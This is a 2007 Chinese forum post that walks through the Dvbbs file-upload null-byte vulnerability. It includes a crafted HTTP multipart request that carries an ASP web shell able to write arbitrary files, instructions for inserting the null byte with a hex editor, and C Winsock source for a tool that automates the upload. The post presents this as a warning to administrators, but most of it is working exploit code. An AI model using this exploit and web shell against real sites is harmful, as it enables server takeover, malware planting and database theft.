本论坛安全性透析之三

我本沉默

上传文件漏洞的原理以及攻击的代码实现过程《已经经过测试，已经成功上传了一个名字为沉默。EXE。GIF的文件，请管理员查找并删除（是一个文本文档文件，无任何危害性）》

先看一下动网论坛上传文件的相关代码: '===========无组件上传(upload_0)==================== sub upload_0() set upload=new UpFile_Class ''建立上传对象 upload.GetDate (int(Forum_Setting(56))*1024)'取得上传数据,不限大小 iCount=0 if upload.err > 0 then select case upload.err case 1 Response.Write "请先选择你要上传的文件 [ <a href=# onclick=history.go(-1)>重新上传</a> ]" case 2 Response.Write "图片大小超过了限制 "&Forum_Setting(56)&"K [ <a href=# onclick=history.go(-1)>重新上传</a> ]" end select exit sub else formPath=upload.form("filepath") ''在目录后加(/) if right(formPath,1)<>"/" then formPath=formPath&"/" for each formName in upload.file ''列出所有上传了的文件 set file=upload.file(formName) ''生成一个文件对象 if file.filesize<100 then response.write "请先选择你要上传的图片 [ <a href=# onclick=history.go(-1)>重新上传</a> ]" response.end end if fileExt=lcase(file.FileExt) if CheckFileExt(fileEXT)=false then response.write "文件格式不正确 [ <a href=# onclick=history.go(-1)>重新上传</a> ]" response.end end if randomize ranNum=int(90000*rnd)+10000 filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt if file.FileSize>0 then''如果 FileSize > 0 说明有文件数据 file.SaveToFile Server.mappath(filename)''保存文件 ' response.write file.FilePath&file.FileName&" ("&file.FileSize&") => "&formPath&File.FileName&" 成功!<br>" response.write "<script>parent.document.forms[0].myface.value='"&FileName&"'</script>" iCount=iCount+1 end if set file=nothing next set upload=nothing session("upface")="done" Htmend iCount&" 个文件上传结束!" end if end sub 在上面代码中可以看到这样一句: filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt 这里,filename是保存的文件名,它是依照上传时间来命名的,最后扩展名是表单中提交过来的文件的扩展名.但是程序中对提交文件的类型做了限制,显然想直接上传ASP文件是不可行的.但是我们来看一下做为后辍的依据从哪里来的呢?我们可以在reg_upload.asp中找到这样的代码: <form name="form" method="post" action="upfile.asp" enctype="multipart/form-data" > <input type="hidden" name="filepath" value="uploadFace"> <input type="hidden" name="act" value="upload"> <input type="file" name="file1"> <input type="hidden" name="fname"> <input type="submit" name="Submit" value="上传" onclick="fname.value=file1.value,parent.document.forms[0].Submit.disabled=true, parent.document.forms[0].Submit2.disabled=true;"> </form> 这样,我们知道了,程序是提取file1表单和fname表单中的值来做判断的.也就是说直接从页面递交我们的ASP文件也是行不通了,但是,如果是我们自己构造数据包的话就不一样了.欲望之翼提出的方法就是自已构造数据包来达到欺骗的目的.将提交的file1表单和fname表单项的值改成合法的文件名称.这样就可以绕过文件类型的检测了. 当然,主要的问题不在这里,如果我们只是要上传那些代码的话,我们完全可以直接改文件名就好了.我们的目的是要让我们上传的文件名改成ASP,这样我们才可以利用.关键就在这一句了: formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt 这句话将一段字符串合并起来.我们能改的就是formPath这个参数.在计算机中检测字符串的关键就是看是否碰到'\0'字符,如果是,则认为字符串结束了.也就是说我们在构造上传文件保存路径时,只要欺骗计算机,让他认为类似"uploadface\zwell.asp"这样的路径参数已经结束了,这样,后面一连串的时间字符我们都可以不要,从而达到直接将文件保存为我们定义的文件名的目的.因些,我们要做的是在构造的数据包中,将表单中的filepath改成类似uploadface\zwell.asp'\0'的字符串然后发送出去就行了. 我们先来看一下数据包的格式(论坛上好像大家用的是WSockExpert,不过我用的是IRIS,我觉得更专业一点,^_^): POST /forum/upfile.asp HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */* Referer: http://192.168.10.101/a.asp?a=http://uyee.com/forum/upfile.asp Accept-Language: zh-cn Content-Type: multipart/form-data; boundary=---------------------------7d4a325500d2 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; .NET CLR 1.0.3705) Host: uyee.com Content-Length: 1593 Connection: Keep-Alive Cache-Control: no-cache Cookie: ASPSESSIONIDQCAQBAQT=NBDJCEFCMIICLJBJKHKMHJEF -----------------------------7d4a325500d2 Content-Disposition: form-data; name="filepath" uploadFace\zwell.asp -----------------------------7d4a325500d2 Content-Disposition: form-data; name="act" upload -----------------------------7d4a325500d2 Content-Disposition: form-data; name="file1"; filename="C:\1.gif" Content-Type: text/plain <%dim objFSO%> <%dim fdata%> <%dim objCountFile%> <%on error resume next%> <%Set objFSO = Server.CreateObject("Scripting.FileSystemObject")%> <%if Trim(request("syfdpath"))<>"" then%> <%fdata = request("cyfddata")%> <%Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True)%> <%objCountFile.Write fdata%> <%if err =0 then%> <%response.write "<font color=red>save Success!</font>"%> <%else%> <%response.write "<font color=red>Save UnSuccess!</font>"%> <%end if%> <%err.clear%> <%end if%> <%objCountFile.Close%> <%Set objCountFile=Nothing%> <%Set objFSO = Nothing%> <%Response.write "<form action='''' method=post>"%> <%Response.Write "<input type=text name=syfdpath width=32 size=50>"%> <%Response.Write "<br>"%> <%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%> <%Response.write "<br>"%> <%Response.write "<textarea name=cyfddata cols=80 rows=10 width=32></textarea>"%> <%Response.write "<input type=submit value=save>"%> <%Response.write "</form>"%> -----------------------------7d4a325500d2 Content-Disposition: form-data; name="fname" C:\1.gif -----------------------------7d4a325500d2 Content-Disposition: form-data; name="Submit" 上传 -----------------------------7d4a325500d2-- 上面的数据我是在WIN2003下调试的.,只要改几个地方就好了 1.Content-Disposition: form-data; name="file1"; filename="C:\1.gif" 2.Content-Disposition: form-data; name="fname" C:\1.gif 3.最重要的地方:uploadFace\zwell.asp,怎么加一个空字符呢?用UltraEdit是个好方法,用16进制编辑,(因为'\0'这个字符也占一个位置,所以我们先打入一空格,然后再在UltraEdit里将对就空格符的20改成00). 至于,最前面的那一段,直接从抓包工具中提取就是了.而且随便一个都行.但是最重要的是要注意这一句: Content-Length: 1593 很多人测试都没成功,就因为这个值设的不对,其实这个值很好算,是从第一个"-----------------------------7d4a325500d2"开始算起,到"-----------------------------7d4a325500d2--\r\n\r\n"截止,看到的"\r\n"是起换行作用,占两个字符.我看论坛上大家论坛时都是说加一个字符值就加一,不是说不对,只是还要这样数,代码短倒无所谓,代码要是很长怎么办呢?:),这里告诉大家一个简单的方法:打开记事本,将算长度的代码复制到记事本,保存,然后看属性就一目了然了,一个字符都不会错.只是有一点必须注意,必须将最后的那几个换行也复制进来.很多人就是因为没有复制换行才失败的. 写了这么多,我们也看到,每一个这样改太不方便,做了工具是必须的了,呵呵,具体不多说了,部分代码如下: #include <winsock2.h> #include <stdio.h> #include "Resource.h" #pragmacomment(lib,"ws2_32.lib") HINSTANCEg_hInst; HWNDg_hWnd; HWNDm_up; HWNDm_host; HWNDm_webpath; HWNDm_path; HWNDm_filename; HWNDm_upload; DWORDm_theadid; BYTEsendbuf[10000]; charhost[80];//主机地址 charbbspath[50];//论坛地址 charuppath[20];//上传目录 charupfilename[50];//上传文件名 charupfiledata[8000];//上传文件内容 intsendsize;//总传送数据大小 intrealsndsize = 0;//传送页面文件的大小 charsnddata[8000]; charmm[1000]= "<%dim objFSO%>\r\n" "<%dim fdata%>\r\n" "<%dim objCountFile%>\r\n" "<%on error resume next%>\r\n" "<%Set objFSO = Server.CreateObject(\"Scripting.FileSystemObject\")%>\r\n" "<%if Trim(request(\"syfdpath\"))<>\"\" then%>\r\n" "<%fdata = request(\"cyfddata\")%>\r\n" "<%Set objCountFile=objFSO.CreateTextFile(request(\"syfdpath\"),True)%>\r\n" "<%objCountFile.Write fdata%>\r\n" "<%if err =0 then%>\r\n" "<%response.write \"<font color=red>save Success!</font>\"%>\r\n" "<%else%>" "<%response.write \"<font color=red>Save UnSuccess!</font>\"%>\r\n" "<%end if%>\r\n" "<%err.clear%>\r\n" "<%end if%>" "<%objCountFile.Close%>\r\n" "<%Set objCountFile=Nothing%>\r\n" "<%Set objFSO = Nothing%>" "<%Response.write \"<form action=\'\' method=post>\"%>\r\n" "<%Response.Write \"<input type=text name=syfdpath width=32 size=50>\"%>\r\n" "<%Response.Write \"<br>\"%>\r\n" "<%=server.mappath(Request.ServerVariables(\"SCRIPT_NAME\"))%>\r\n" "<%Response.write \"<br>\"%>\r\n" "<%Response.write \"<textarea name=cyfddata cols=80 rows=10 width=32></textarea>\"%>\r\n" "<%Response.write \"<input type=submit value=save>\"%>\r\n" "<%Response.write \"</form>\"%>\r\n"; //获得控件文本 char *gettext(HWND chwnd) { char tmpbuf[10000]; SendMessage(chwnd, WM_GETTEXT, (WPARAM)sizeof(tmpbuf), (LPARAM)tmpbuf); return tmpbuf; } //设置控件文本 void settext(HWND chwnd,char *text) { SendMessage(chwnd, WM_SETTEXT, (WPARAM)(0), (LPARAM)text); } char *itos(int data) { char tmp[10]; sprintf(tmp, "%d", data); return tmp; } //上传线程 DWORD WINAPI uploadthread(LPVOID param) { SOCKETs; sockaddr_in sin; struct hostent * hp; unsigned intaddr; s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); ZeroMemory((void *)&sin, sizeof(sin)); hp = gethostbyname(gettext(m_host)); if (!hp) addr = inet_addr(gettext(m_host)); if ((!hp) && (addr == INADDR_NONE) ) { MessageBox(g_hWnd, "Unable to resolve host", "sendbuf", MB_OK); return 0; } if (hp != NULL) memcpy(&(sin.sin_addr),hp->h_addr,hp->h_length); else sin.sin_addr.s_addr = addr; sin.sin_port = htons(80); sin.sin_family = AF_INET; strcpy(host, gettext(m_host)); strcpy(bbspath, gettext(m_webpath)); strcpy(upfiledata, gettext(m_upload)); strcpy(uppath, gettext(m_path)); strcpy(upfilename, gettext(m_filename)); realsndsize = 578 + strlen(uppath) + strlen(upfilename) + strlen(upfiledata) + 1; sprintf((char *)sendbuf, "POST %s/upfile.asp HTTP/1.1\r\n" "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n" "Referer: http://192.168.10.101/a.asp?a=http://uyee.com/forum/upfile.asp\r\n" "Accept-Language: zh-cn\r\n" "Content-Type: multipart/form-data; boundary=---------------------------7d4a325500d2\r\n" "Accept-Encoding: gzip, deflate\r\n" "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; .NET CLR 1.0.3705)\r\n" "Host: %s\r\n" "Content-Length: %d\r\n" "Connection: Keep-Alive\r\n" "Cache-Control: no-cache\r\n" "Cookie: iscookies=0; BoardList=BoardID=Show; ASPSESSIONIDQCAQBAQT=NBDJCEFCMIICLJBJKHKMHJEF\r\n\r\n" "-----------------------------7d4a325500d2\r\n" "Content-Disposition: form-data; name=\"filepath\"\r\n\r\n" "%s\\%s", bbspath, host, realsndsize, uppath, upfilename); sendsize = strlen((char *)sendbuf); sendbuf[sendsize] = '\0'; sprintf(snddata, "\r\n" "-----------------------------7d4a325500d2\r\n" "Content-Disposition: form-data; name=\"act\"\r\n\r\n" "upload\r\n" "-----------------------------7d4a325500d2\r\n" "Content-Disposition: form-data; name=\"file1\"; filename=\"C:\\1.gif\"\r\n" "Content-Type: text/plain\r\n\r\n" "%s\r\n" "-----------------------------7d4a325500d2\r\n" "Content-Disposition: form-data; name=\"fname\"\r\n\r\n" "C:\\1.gif\r\n" "-----------------------------7d4a325500d2\r\n" "Content-Disposition: form-data; name=\"Submit\"\r\n\r\n" "上传\r\n" "-----------------------------7d4a325500d2--\r\n\r\n", upfiledata); strcat((char *)&sendbuf[sendsize+1], snddata); sendsize += strlen(snddata); sendsize += 1; if(SOCKET_ERROR == connect(s, (struct sockaddr *)&sin, sizeof(sin))) { MessageBox(g_hWnd, "连接出错!", "出错提示:", MB_OKMB_IConERROR); return 0; } int sendsz = send(s, (char *)sendbuf, sendsize, 0); if(sendsz <= 0) MessageBox(g_hWnd, "发送数据失败", itos(WSAGetLastError()), MB_OK); char recvbuf[10000]; recv(s, (char*)recvbuf, 10000, 0); settext(m_upload, recvbuf); closesocket(s); return 0; } void WINAPIOn_Command(WPARAM wParam) { switch (LOWORD(wParam)) { case ID_UP: CreateThread(NULL, 0, uploadthread, NULL, NULL, &m_theadid); break; case IDCANCEL: SendMessage(g_hWnd, WM_CLOSE, (WPARAM)(NULL), LPARAM(NULL)); break; } } static BOOLCALLBACK MainDlgProc(HWND hWndDlg, UINT msg,WPARAM wParam, LPARAM lParam) { switch (msg) { case WM_INITDIALOG: g_hWnd = hWndDlg; m_up = GetDlgItem(g_hWnd, ID_UP); m_host = GetDlgItem(g_hWnd, IDC_EDIT1); m_webpath = GetDlgItem(g_hWnd, IDC_EDIT2); m_path = GetDlgItem(g_hWnd, IDC_EDIT3); m_upload = GetDlgItem(g_hWnd, IDC_EDIT4); m_filename = GetDlgItem(g_hWnd, IDC_EDIT5); settext(m_host, "192.168.10.101"); settext(m_webpath, "/"); settext(m_path, "uploadface"); settext(m_filename, "zwell.asp"); settext(m_upload, mm); return TRUE; case WM_COMMAND: On_Command(wParam); break; case WM_SIZE: break; case WM_CLOSE: EndDialog(g_hWnd,0); break; } return FALSE; } intAPIENTRY WinMain(HINSTANCE hInstance, HINSTANCEhPrevInstance, LPSTR lpCmdLine,intnCmdShow) { WSADATAwsaData; g_hInst=hInstance; if(WSAStartup(MAKEWORD(1, 1), &wsaData)) { MessageBox(NULL,"无法初始化WinsockDLL\t","错误",MB_OKMB_ICONSTOP); return 0; } DialogBox(g_hInst, MAKEINTRESOURCE(IDD_DIALOG1),NULL, (DLGPROC)MainDlgProc); WSACleanup(); return 1; } 至此，跨站攻击成立，可以进行挂马以及进行其他恶作剧。甚至直接下载或修改数据库。只所以这样做是为了提醒管理员同志，注意防范dvbbs 7.1dvbbs 7.1的漏洞，不要让某些居心不良的朋友所利用。下一步，将进行利用dvbbs 7.1个性签名上传代码的测试。希望本BBS已经堵死了这个漏洞。

[此贴子已经被作者于2007-1-28 18:46:42编辑过]

windflowers

默默，这个我看不懂啊！